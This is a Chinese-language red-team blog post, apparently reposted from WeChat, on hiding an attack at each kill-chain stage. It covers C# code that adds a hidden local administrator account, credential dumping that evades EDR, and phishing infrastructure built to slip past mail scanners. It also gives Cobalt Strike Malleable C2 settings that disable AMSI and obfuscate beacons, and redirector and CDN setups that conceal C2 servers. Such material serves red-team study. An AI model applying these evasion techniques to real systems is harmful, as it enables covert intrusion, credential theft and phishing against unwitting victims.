Each Stages of Attack Kill Chain OPSEC
无论是安全意识钓鱼还是初始访问,行动安全 (OPSEC) 在攻击模拟和钓鱼模拟中都扮演着重要角色。大多数公开知名的工具的签名和行为都会被大多数防病毒/EDR 产品更新,因此它们知道要检查和关注什么。
为了最小化检测,必须限制被攻陷系统与命令控制 (C2) 基础设施之间交换的流量,并更改签名,因此我们应该开发一个能产生较少可疑流量的定制二进制文件。
我们必须注意几个层面的行动安全 (OPSEC),例如钓鱼攻击、代码执行和凭证访问、横向移动等。
这篇文章将重点介绍我在攻击模拟和钓鱼模拟中的实战经验,以确保从红队基础设施到横向移动阶段的安全 OPSEC。如果您对配置和 Apache Mod 模块配置有任何问题,请直接与我联系,因为我在这篇文章中尽可能减少了代码片段和配置内容。
在这篇文章中,我不会涉及 Elastic 的 YARA 规则绕过,因为这需要一个修改每个规则中特定字符串和 API 的漫长过程。关于 Cobalt Strike 的 Malleable Profile OPSEC,可以涵盖能改变基本 Beacon 行为的必要选项。
什么是行动安全 (OPSEC) 以及红队中的 OPSEC?
行动安全 (OPSEC) 是一个识别和保护敏感信息免遭暴露的过程...它包括识别组织敏感数据的潜在威胁和漏洞,并实施对策以防止它们可能被暴露。
在越南战争期间,美国海军上将尤利西斯·S·格兰特·夏普二世意识到北越军队利用美国公开来源的情报来计划他们的攻击;因此,他们开发了 OPSEC 方法来防止高度敏感的数据暴露给未经授权的代理人。
攻击模拟和钓鱼中的行动安全 (OPSEC) 保护我们的基础设施和服务不被蓝队、安全解决方案或未经授权的访问暴露。
凭证访问
Mimikatz 命令 "sekurlsa::logonpasswords" 和 "sekurlsa::ekeys" 会触发 EDR/防病毒检测警报,因为这些命令需要打开 LSASS 的读取句柄并枚举 Windows 上的登录会话,以及枚举与 Kerberos 包关联的所有密钥类型。
直接使用默认的 cobalt strike 命令和 mimikatz 访问凭证相当显眼,会被 EDR/防病毒检测到,可能导致您的任务失败。基于我的红队经验,存在几种不被检测到的隐蔽技术来获取凭证访问权限。但这取决于我们如何开发获取访问权限的战术技术和程序。例如,如果您有本地管理员权限,您可以创建一个像 Windows 可信服务一样运行的 Windows 服务账户,然后开发一个在 Windows 启动时与 LSASS 交互的定制二进制文件。这种技术使我能够在新加坡最大的金融服务行业之一中获取凭证,而不被系统性 EDR 和 CrowdStrike 检测到。
在以下非常简单的代码中,程序尝试创建一个本地用户并将其加入本地管理员组,您可以用相同的方式将这个概念用于从服务账户获取凭证。该程序应该伪装成合法服务,看起来合法并经过数字签名。
using System.Diagnostics;
namespaceLocalAdminTool
{
classLocalAdmin
{
staticvoidMain(string[] commandLineArguments)
{
var processStartInfo = newProcessStartInfo
{
FileName = @"C:WindowsSystem32cmd.exe",
Arguments = @"/c net user IT_admin1 Passw0rd@qwe123 /add && net localgroup Administrators IT_admin1 /add"
};
var process = newProcess
{
StartInfo = processStartInfo
};
process.Start();
process.WaitForExit();
process.Dispose();
}
}
}
钓鱼攻击模拟的行动安全
在收件人收到钓鱼邮件之前,网关解决方案的邮件安全工具、黑名单检查器和云沙箱会爬取链接并分析邮件内容中的已知钓鱼指标。这些指标包括恶意链接、可疑附件以及由 Gophish 和 evilginx 生成的默认邮件头。
此外,这些工具还会检查域名信誉、域名年龄和 SSL 证书。如果发现任何可疑内容或链接,邮件安全解决方案会阻止它们以防止邮件被投递。
在进行钓鱼模拟活动时,域名和 IP 信誉以及域名和 SSL 证书的年龄都很重要。较低的信誉分数以及新注册的域名和 SSL 证书都表明这是一个钓鱼网站。
较高的域名信誉和较早的域名注册日期是合法网站的标志。因此,请花时间让您的落地页看起来合法,克隆合法内容,并使用域名重定向技术。检查所有与目标相似的可用域名。最后,您最好使用可信的 SMTP 中继而不是自己的 SMTP 服务器,以避免钓鱼邮件进入垃圾邮件文件夹,并自定义所有表明使用已知框架 (如 GoPhish) 的默认配置和邮件头。
如何以较低的失败率克服这个障碍?
这可以通过隐藏钓鱼服务器并在钓鱼落地页前放置安全扫描器模板来实现。例如,当钓鱼用户点击链接时,他们会看到 Cloudflare 加载页面,然后被重定向到钓鱼落地页。
这种方法使安全解决方案更难检测和阻止钓鱼攻击。此外,钓鱼邮件可以使用代理和 CDN 从不同的 IP 地址发送。这种技术可以使邮件安全解决方案难以阻止邮件,因为解决方案可能无法识别所有正在使用的 IP 地址。
对于钓鱼基础设施的存活,我建议使用以下图表。在进行钓鱼模拟时,我一直使用这种设置。该图展示了受害者点击链接后的攻击流程,以及他们如何通过各个环节到达落地页。我们应该自定义 GoPhish 和 Evilginx 的邮件头指标、默认页面、SMTP 邮件头以及被安全检查工具 scrutinize 的默认跟踪 ID 参数。
以下是建议的钓鱼基础设施存活图表。
横向移动
Cobalt Strike 横向移动功能 "jump psexec_psh" 和 "remote-exec psexec" 不会生成可执行文件并上传到目标主机。相反,这些方法使用单行 PowerShell 命令来管理服务,"elevate svc-exe" 和 "jump psexec64" 不被认为是安全的 OPSEC 措施,因为这两种方法都会生成可执行文件并上传到目标,立即触发警报。
如果我们绕过 AMSI,"jump psexec_psh" 和 "remote-exec psexec" 被认为是 OPSEC 安全的。此外,remote-exec 命令比 "jump"、"WinRm" 和 "PowerShell" 更加 OPSEC 安全。除了remote-exec 命令外,所有这些命令都会启动 powershell.exe。
• jump
• winrm
• jump winrm64
• powershell
• remote-exec winrm
C2(命令与控制) 和 Cobalt Strike 的行动安全
无论是外部还是内部攻击模拟,C2(命令与控制) 和 Cobalt Strike 的行动安全都是两个重要方面,用于防止向蓝队未经授权的泄露。
未经授权的泄露可能导致蓝队封锁用于被攻陷工作站与命令控制 (C2) 服务器之间通信的域名和 IP 地址。为避免被检测,我们应该使用行动安全实践来隐藏我们的活动,使其看起来像正常流量。我们还避免可检测的模式,这些模式是 Cobalt Strike 的默认行为、未加密的网络流量和已知的 payload、已知的 API 调用。
证书自定义
如下所示,Cobalt Strike 使用默认端口 50050,默认 SSL 证书包含以下信息:
Common Name(CN): Major Cobalt Strike
Organizational Unit(OU): AdvancedPenTesting
Organization (O): cobaltstrike
Locality (L): Somewhere
State (S): Cyberspace
Country ©: Earth
Cobalt Strike 默认端口 50050 和默认 SSL 证书
使用 Cobalt Strike 提供的默认 SSL 证书可能表明这是一次潜在的 Cobalt Strike 攻击。因此,对于这个特定端口,我将用受信任的 Cloudflare 颁发的证书替换默认 SSL 证书,以避免显示这是 Cobalt Strike 攻击的迹象。
如你所见,我将 PEM 文件转换为 store 文件。
如你所见,我已经相应地使用更新后的 Cloudflare 证书更新了团队服务器。
团队服务器在 192.168.10.113 的 8443 端口上运行。SSL 扫描器确认团队服务器使用了自定义证书。
如你所见,Malleable-C2-Profiles 已使用自定义证书更新。
Malleable 配置文件自定义
Malleable 配置文件允许我们修改 Cobalt Strike 的特征、行为和网络流量,以减少 Beacon 载荷中的指标。Malleable 配置文件中有几个部分需要我们注意,以避免暴露 Beacon 载荷。
我不会在这里详细介绍 malleable c2 配置文件的所有部分;我只想从 OPSEC 的角度强调其重要性。如果你想详细了解 malleable c2 配置文件,我建议查看这里,它提供了 malleable c2 配置文件每个部分的深入解析。
以下是建议从 Malleable 配置文件中启用的选项。
set userwx "false";
set cleanup "true";
set entry_point "89410";
set image_size_x86 "525311";
set image_size_x64 "548781";
set obfuscate "true";
set host_stage "false";
set amsi_disable "true"; # For post exploitation section
内存权限应该始终设置为只读和执行,而不具有可写权限。具有 RWX 内存区域会增加检测率,这对 OPSEC 来说并不安全。 malleable c2 配置文件中的 userwx 属性应该设置为"false"而不是"true"。
sleep_mask允许你在 Cobalt Strike 4.4 之前加密内存中的 Beacon 字符串;在 4.4 版本之前 sleep_mask 选项不可用,因此启用 sleep_mask 可以增加检测难度。malleable c2 配置文件中的 sleep_mask 属性应该设置为"true"。
未启用 sleep mask 时,PE 头看起来是这样的
启用 sleep mask 后,PE 头看起来是这样的
启用 sleep mask 后,beacon 字符串完全加密。
"Host_stage"允许沙箱和反向代理从团队服务器拉取 stager 请求,这意味着每个人都可以访问你的 payload。这可能导致整个基础设施被云服务提供商和蓝队发现。在我早期的经验中,由于对 beacon 控制知识不足,这个 stage 配置烧毁了我的 AWS/Digital Ocean 基础设施。malleable c2 配置文件中的"Host_stage"属性应该设置为"false"而不是"true"。
"obfuscate"允许你混淆 beacon 中的字符串,这对于绕过基于静态签名的检测是有效的。这不是很强的混淆,但总比没有好。malleable c2 配置文件中的"obfuscate"属性应该设置为"true"而不是"false"。
后渗透部分
后渗透部分同样至关重要。我们必须注意 malleable 配置文件中的一些属性,因为后渗透涉及修改 beacon 在内存中的表现形式,并检查迁移和 beacon 对象文件如何影响妥协指标和其他相关因素。
在 beacon 中执行后渗透命令或将 payload 注入内存时,理解这些概念非常重要。例如,spawnto_x86 和 spawnto_x64 应该被自定义,因为 cobalt strike 默认使用 rundll32.exe 来生成新进程。我定义使用"backgroundtaskhost.exe"来生成新进程。启用 AMSI/混淆和 smartinject。
malleable 配置文件中需要修改的其他部分包括 prepend 关键字、默认镜像大小和证书。为了绕过 Elastic 的 cobalt strike YARA 规则,我们必须处理 malleable c2 配置文件中的 YARA 规则。我将在这里结束 malleable 配置文件部分,但可能会单独写一篇关于 Arsenal Kit 定制和 malleable c2 配置文件以绕过 Elastic 的 cobalt strike YARA 规则的文章。
post-ex {
set spawnto_x86 "%windir%\syswow64\backgroundtaskhost.exe";
set spawnto_x64 "%windir%\sysnative\backgroundtaskhost.exe";
set obfuscate "true";
set smartinject "true";
set amsi_disable "true";
}
C2 (命令与控制)
下图展示了一个适度的渗透方案,不涉及复杂性和长期渗透。例如,如果我们对 ACME 银行进行渗透,我们可以创建两个面向公网的重定向器。这些可以是 Apache、Nginx 或其他开源重定向技术,如 IPTABLE 和 Socat - 你可以选择任何一种。
根据我的经验,Apache 在转发流量方面更有效。从蓝队的角度来看,他们只能访问两个面向公网的 Web 应用程序,这些应用程序完全加密数据,并且只在 443 端口上运行,使用受信任的证书。这两个重定向器的工作是将收到的请求转发到命令和控制服务器,我们不会将命令和控制服务器暴露给公网。
我们可以通过在两个面向公网的 Web 应用程序前面实施两个 CDN(如 Cloudflare 和 Azure CDN) 来增强我们的基础设施。
具有两个面向公网 HTTPS 重定向器的 C2(命令与控制)
CDN 后面具有两个面向公网服务的 C2(命令与控制)
总之,仅仅拥有多个重定向器/CDN 和完全加密还不足以保护我们的基础设施。为了加强 OPSEC 措施,我们应该做一些事情来防止基础设施被攻破。
我们应该使用 Apache Mod 模块来阻止某些用户代理和属于已知沙箱和 EDR/防病毒软件的大范围 IP 地址。最后,我们可以将它们重定向到其他页面。如果我们需要在磁盘驱动器上放置可执行文件,我们可以使用一个巧妙的技术,使二进制文件看起来合法并进行数字签名。服务应该伪装成合法服务,如 IT 策略检查、VPN 更新等。
参考文献
https://blog.zsec.uk/cobalt-strike-profiles/
https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/
https://bigb0sss.github.io/posts/redteam-cobalt-strike-malleable-profile/
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2-extend_controll-post-exploitation.htm
https://www.navy.mil/Press-Office/News-Stories/Article/2265048/the-opsec-of-the-future/
原文始发于微信公众号(securitainment):每个攻击链阶段的行动安全 (OPSEC)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论